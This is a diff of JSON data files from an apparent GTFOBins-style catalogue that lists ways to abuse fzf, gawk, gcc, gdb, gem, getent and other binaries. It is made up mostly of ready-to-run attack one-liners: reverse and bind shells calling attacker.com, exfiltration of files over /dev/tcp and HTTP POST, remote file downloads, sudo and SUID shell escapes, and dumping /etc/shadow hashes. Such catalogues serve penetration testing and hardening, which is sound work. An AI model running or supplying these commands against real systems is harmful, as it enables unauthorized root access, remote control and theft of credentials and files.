+ "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``, then run ``nc -l -p 12345 < \"file_to_send\"`` on the attacker box to send the file.",
46
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LPORT=7777\nexport LFILE=file_to_get\nfzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(cat < /dev/tcp/$RHOST/$RPORT > $LFILE)\" # Attacker box\n"
47
+ }
48
+ ],
49
+ "file-write": [
50
+ {
51
+ "description": "Press ``<Enter>`` and then ``<Esc>`` when you enter the fzf panel to write the file.",
52
+ "code": "export LFILE=file_to_write\nfzf --bind \"enter:execute(echo 'DATA' > $LFILE)\"\n"
53
+ },
54
+ {
55
+ "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``.",
56
+ "code": "export LPORT=7777\nexport LFILE=file_to_write\nfzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(echo 'DATA' > $LFILE)\" # Attacker box\n"
57
+ }
58
+ ],
59
+ "file-read": [
60
+ {
61
+ "description": "Press ``<Enter>`` and then ``<Esc>`` when you enter the fzf panel to read the file.",
62
+ "code": "export LFILE=file_to_read\nfzf --bind \"enter:execute(/bin/cat $LFILE)\"\n"
63
+ },
64
+ {
65
+ "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``.",
66
+ "code": "export LPORT=7777\nexport LFILE=file_to_read\nfzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(/bin/cat $LFILE)\" # Attacker box\n"
67
+ }
68
+ ],
69
+ "suid": [
70
+ {
71
+ "description": "Press ``<Enter>`` when you enter the fzf panel to receive the shell. It only works on Ubuntu.",
72
+ "code": "./fzf --bind \"enter:execute(/bin/sh)\"\n"
73
+ },
74
+ {
75
+ "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``, then run ``nc -l -p 12345`` on the attacker box to receive the shell. It only works on Ubuntu and with the traditional version of ``nc``.",
76
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LPORT=7777\n./fzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(nc $RHOST $RPORT -e /bin/sh)\" # Attacker box\n"
77
+ }
78
+ ],
79
+ "sudo": [
80
+ {
81
+ "description": "Press ``<Enter>`` when you enter the fzf panel to receive the shell.",
82
+ "code": "sudo fzf --bind \"enter:execute(/bin/sh)\"\n"
83
+ },
84
+ {
85
+ "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``, then run ``nc -l -p 12345`` on the attacker box to receive the shell. It only works with the traditional version of ``nc``.",
86
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LPORT=7777\nsudo fzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(nc $RHOST $RPORT -e /bin/sh)\" # Attacker box\n"
87
+ }
88
+ ]
89
+ }
90
+ }
gtfo/data/gawk.json CHANGED
@@ -2,44 +2,50 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "gawk 'BEGIN {system(\"/bin/sh\")}'"
5
+
6
+ "code": "gawk 'BEGIN {system(\"/bin/sh\")}'\n"
6
7
  }
7
8
  ],
8
9
  "non-interactive-reverse-shell": [
9
10
  {
10
- "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
11
- "code": "gawk 'BEGIN {\n s = \"/inet/tcp/0/[host]/[port]\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
11
+ "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.",
12
+ "code": "RHOST=attacker.com\nRPORT=12345\ngawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {\n s = \"/inet/tcp/0/\" RHOST \"/\" RPORT;\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
12
13
  }
13
14
  ],
14
15
  "non-interactive-bind-shell": [
15
16
  {
16
- "description": "Run 'nc target.com 12345' on the attacker box to connect to the shell.",
17
- "code": "gawk 'BEGIN {\n s = \"/inet/tcp/[port]/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
17
+ "description": "Run `nc target.com 12345` on the attacker box to connect to the shell.",
18
+ "code": "LPORT=12345\ngawk -v LPORT=$LPORT 'BEGIN {\n s = \"/inet/tcp/\" LPORT \"/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
18
19
  }
19
20
  ],
20
21
  "file-write": [
21
22
  {
22
- "code": "gawk 'BEGIN { print \"DATA\" > \"[file]\" }'\n"
23
+
24
+ "code": "LFILE=file_to_write\ngawk -v LFILE=$LFILE 'BEGIN { print \"DATA\" > LFILE }'\n"
23
25
  }
24
26
  ],
25
27
  "file-read": [
26
28
  {
27
- "code": "gawk '//' [file]\n"
29
+
30
+ "code": "LFILE=file_to_read\ngawk '//' \"$LFILE\"\n"
28
31
  }
29
32
  ],
30
- "suid": [
33
+ "suid": [
31
34
  {
32
- "code": "./gawk '//' \"[file]\""
35
+
36
+ "code": "LFILE=file_to_read\n./gawk '//' \"$LFILE\"\n"
33
37
  }
34
38
  ],
35
39
  "sudo": [
36
40
  {
37
- "code": "sudo gawk 'BEGIN {system(\"/bin/sh\")}'"
41
+
42
+ "code": "sudo gawk 'BEGIN {system(\"/bin/sh\")}'\n"
38
43
  }
39
44
  ],
40
45
  "limited-suid": [
41
46
  {
42
- "code": "./gawk 'BEGIN {system(\"/bin/sh\")}'"
47
+
48
+ "code": "./gawk 'BEGIN {system(\"/bin/sh\")}'\n"
43
49
  }
44
50
  ]
45
51
  }
gtfo/data/gcc.json CHANGED
@@ -2,22 +2,30 @@
2
2
  "functions": {
3
3
  "file-read": [
4
4
  {
5
- "code": "gcc -x c -E \"[file]\"\n"
5
+
6
+ "code": "LFILE=file_to_read\ngcc -x c -E \"$LFILE\"\n"
7
+ },
8
+ {
9
+ "description": "The file is read and parsed as a list of files (one per line), the content is disaplyed as error messages, thus this might not be suitable to read arbitrary data.",
10
+ "code": "LFILE=file_to_read\ngcc @\"$LFILE\"\n"
6
11
  }
7
12
  ],
8
13
  "file-write": [
9
14
  {
10
- "code": "gcc -xc /dev/null -o [file]\n"
15
+
16
+ "code": "LFILE=file_to_delete\ngcc -xc /dev/null -o $LFILE\n"
11
17
  }
12
18
  ],
13
19
  "shell": [
14
20
  {
15
- "code": "gcc -wrapper /bin/sh,-s ."
21
+
22
+ "code": "gcc -wrapper /bin/sh,-s .\n"
16
23
  }
17
24
  ],
18
25
  "sudo": [
19
26
  {
20
- "code": "sudo gcc -wrapper /bin/sh,-s ."
27
+
28
+ "code": "sudo gcc -wrapper /bin/sh,-s .\n"
21
29
  }
22
30
  ]
23
31
  }
gtfo/data/gcloud.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
6
+ "code": "gcloud help\n!/bin/sh\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
12
+ "code": "sudo gcloud help\n!/bin/sh\n"
13
+ }
14
+ ]
15
+ }
16
+ }
gtfo/data/gcore.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+
6
+ "code": "gcore $PID\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+
12
+ "code": "sudo gcore $PID\n"
13
+ }
14
+ ],
15
+ "suid": [
16
+ {
17
+
18
+ "code": "./gcore $PID\n"
19
+ }
20
+ ]
21
+ }
22
+ }
gtfo/data/gdb.json CHANGED
@@ -2,65 +2,67 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "gdb -nx -ex '!sh' -ex quit"
5
+
6
+ "code": "gdb -nx -ex '!sh' -ex quit\n"
6
7
  }
7
8
  ],
8
9
  "reverse-shell": [
9
10
  {
10
- "description": "This requires that GDB is compiled with Python support. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
11
- "code": "gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' -ex quit\n"
11
+ "description": "This requires that GDB is compiled with Python support. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
12
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\ngdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' -ex quit\n"
12
13
  }
13
14
  ],
14
15
  "file-upload": [
15
16
  {
16
17
  "description": "This requires that GDB is compiled with Python support. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
17
- "code": "gdb -nx -ex 'python import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\",).read()}).encode()))' -ex quit\n"
18
+ "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\ngdb -nx -ex 'python import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))' -ex quit\n"
18
19
  },
19
20
  {
20
21
  "description": "This requires that GDB is compiled with Python support. Serve files in the local folder running an HTTP server.",
21
- "code": "gdb -nx -ex 'python import sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit\n"
22
+ "code": "export LPORT=8888\ngdb -nx -ex 'python import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit\n"
22
23
  }
23
24
  ],
24
25
  "file-download": [
25
26
  {
26
27
  "description": "This requires that GDB is compiled with Python support. Fetch a remote file via HTTP GET request.",
27
- "code": "gdb -nx -ex 'python import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\",)' -ex quit\n"
28
+ "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\ngdb -nx -ex 'python import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])' -ex quit\n"
28
29
  }
29
30
  ],
30
31
  "file-write": [
31
32
  {
32
33
  "description": "This requires that GDB is compiled with Python support.",
33
- "code": "gdb -nx -ex \"dump value [file] \\\"DATA\\\"\" -ex quit\n"
34
+ "code": "LFILE=file_to_write\ngdb -nx -ex \"dump value $LFILE \\\"DATA\\\"\" -ex quit\n"
34
35
  }
35
36
  ],
36
37
  "file-read": [
37
38
  {
38
39
  "description": "This requires that GDB is compiled with Python support.",
39
- "code": "gdb -nx -ex 'python print(open(\"[file]\").read())' -ex quit"
40
+ "code": "gdb -nx -ex 'python print(open(\"file_to_read\").read())' -ex quit\n"
40
41
  }
41
42
  ],
42
43
  "library-load": [
43
44
  {
44
45
  "description": "This requires that GDB is compiled with Python support.",
45
- "code": "gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")' -ex quit"
46
+ "code": "gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")' -ex quit\n"
46
47
  }
47
48
  ],
48
49
  "suid": [
49
50
  {
50
51
  "description": "This requires that GDB is compiled with Python support.",
51
- "code": "./gdb -nx -ex 'python import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")' -ex quit"
52
+ "code": "./gdb -nx -ex 'python import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")' -ex quit\n"
52
53
  }
53
54
  ],
54
55
  "sudo": [
55
56
  {
56
- "code": "sudo gdb -nx -ex '!sh' -ex quit"
57
+
58
+ "code": "sudo gdb -nx -ex '!sh' -ex quit\n"
57
59
  }
58
60
  ],
59
61
  "capabilities": [
60
62
  {
61
63
  "description": "This requires that GDB is compiled with Python support.",
62
- "code": "./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit"
64
+ "code": "./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit\n"
63
65
  }
64
66
  ]
65
67
  }
66
- }
68
+ }
gtfo/data/gem.json CHANGED
@@ -2,27 +2,27 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "description": "This requires the name of an installed gem to be provided ('rdoc' is usually installed).",
6
- "code": "gem open -e \"/bin/sh -c /bin/sh\" rdoc"
5
+ "description": "This requires the name of an installed gem to be provided (`rdoc` is usually installed).",
6
+ "code": "gem open -e \"/bin/sh -c /bin/sh\" rdoc\n"
7
7
  },
8
8
  {
9
- "description": "This invokes the default editor, which is likely to be 'vi', other functions may apply. This requires the name of an installed gem to be provided ('rdoc' is usually installed).",
9
+ "description": "This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. This requires the name of an installed gem to be provided (`rdoc` is usually installed).",
10
10
  "code": "gem open rdoc\n:!/bin/sh\n"
11
11
  },
12
12
  {
13
- "description": "This executes the specified file as 'ruby' code.",
13
+ "description": "This executes the specified file as [`ruby`](/gtfobins/ruby/) code.",
14
14
  "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/x\ngem build $TF/x\n"
15
15
  },
16
16
  {
17
- "description": "This executes the specified file as 'ruby' code.",
17
+ "description": "This executes the specified file as [`ruby`](/gtfobins/ruby/) code.",
18
18
  "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/x\ngem install --file $TF/x\n"
19
19
  }
20
20
  ],
21
21
  "sudo": [
22
22
  {
23
- "description": "This requires the name of an installed gem to be provided ('rdoc' is usually installed).",
24
- "code": "sudo gem open -e \"/bin/sh -c /bin/sh\" rdoc"
23
+ "description": "This requires the name of an installed gem to be provided (`rdoc` is usually installed).",
24
+ "code": "sudo gem open -e \"/bin/sh -c /bin/sh\" rdoc\n"
25
25
  }
26
26
  ]
27
27
  }
28
- }
28
+ }
gtfo/data/genie.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+
6
+ "code": "genie -c '/bin/sh'\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+
12
+ "code": "./genie -c '/bin/sh'\n"
13
+ }
14
+ ],
15
+ "sudo": [
16
+ {
17
+
18
+ "code": "sudo genie -c '/bin/sh'\n"
19
+ }
20
+ ]
21
+ }
22
+ }
@@ -1,15 +1,22 @@
1
1
  {
2
- "description": "The output is placed inside the ISO9660 file system binary format thus it may not be suitable for binary content as is, yet it can be mounted or extracted with tools like '7z'.",
3
2
  "functions": {
4
3
  "file-read": [
5
4
  {
6
- "code": "genisoimage -q -o - \"[file]\"\n"
5
+
6
+ "code": "LFILE=file_to_read\ngenisoimage -q -o - \"$LFILE\"\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "description": "The file is parsed, and some of its content is disclosed by the error messages, thus this might not be suitable to read arbitrary data.",
12
+ "code": "LFILE=file_to_read\n./genisoimage -sort \"$LFILE\"\n"
7
13
  }
8
14
  ],
9
15
  "sudo": [
10
16
  {
11
- "code": "sudo genisoimage -q -o - \"[file]\"\n"
17
+
18
+ "code": "LFILE=file_to_read\nsudo genisoimage -q -o - \"$LFILE\"\n"
12
19
  }
13
20
  ]
14
21
  }
15
- }
22
+ }
gtfo/data/getent.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "functions": {
3
+ "suid": [
4
+ {
5
+ "description": "",
6
+ "code": "# Leak root hash from /etc/shadow via getent SUID binary\n./getent shadow root\n"
7
+ },
8
+ {
9
+ "description": "",
10
+ "code": "# Dump all hashes\n./getent shadow\n"
11
+ }
12
+ ]
13
+ }
14
+ }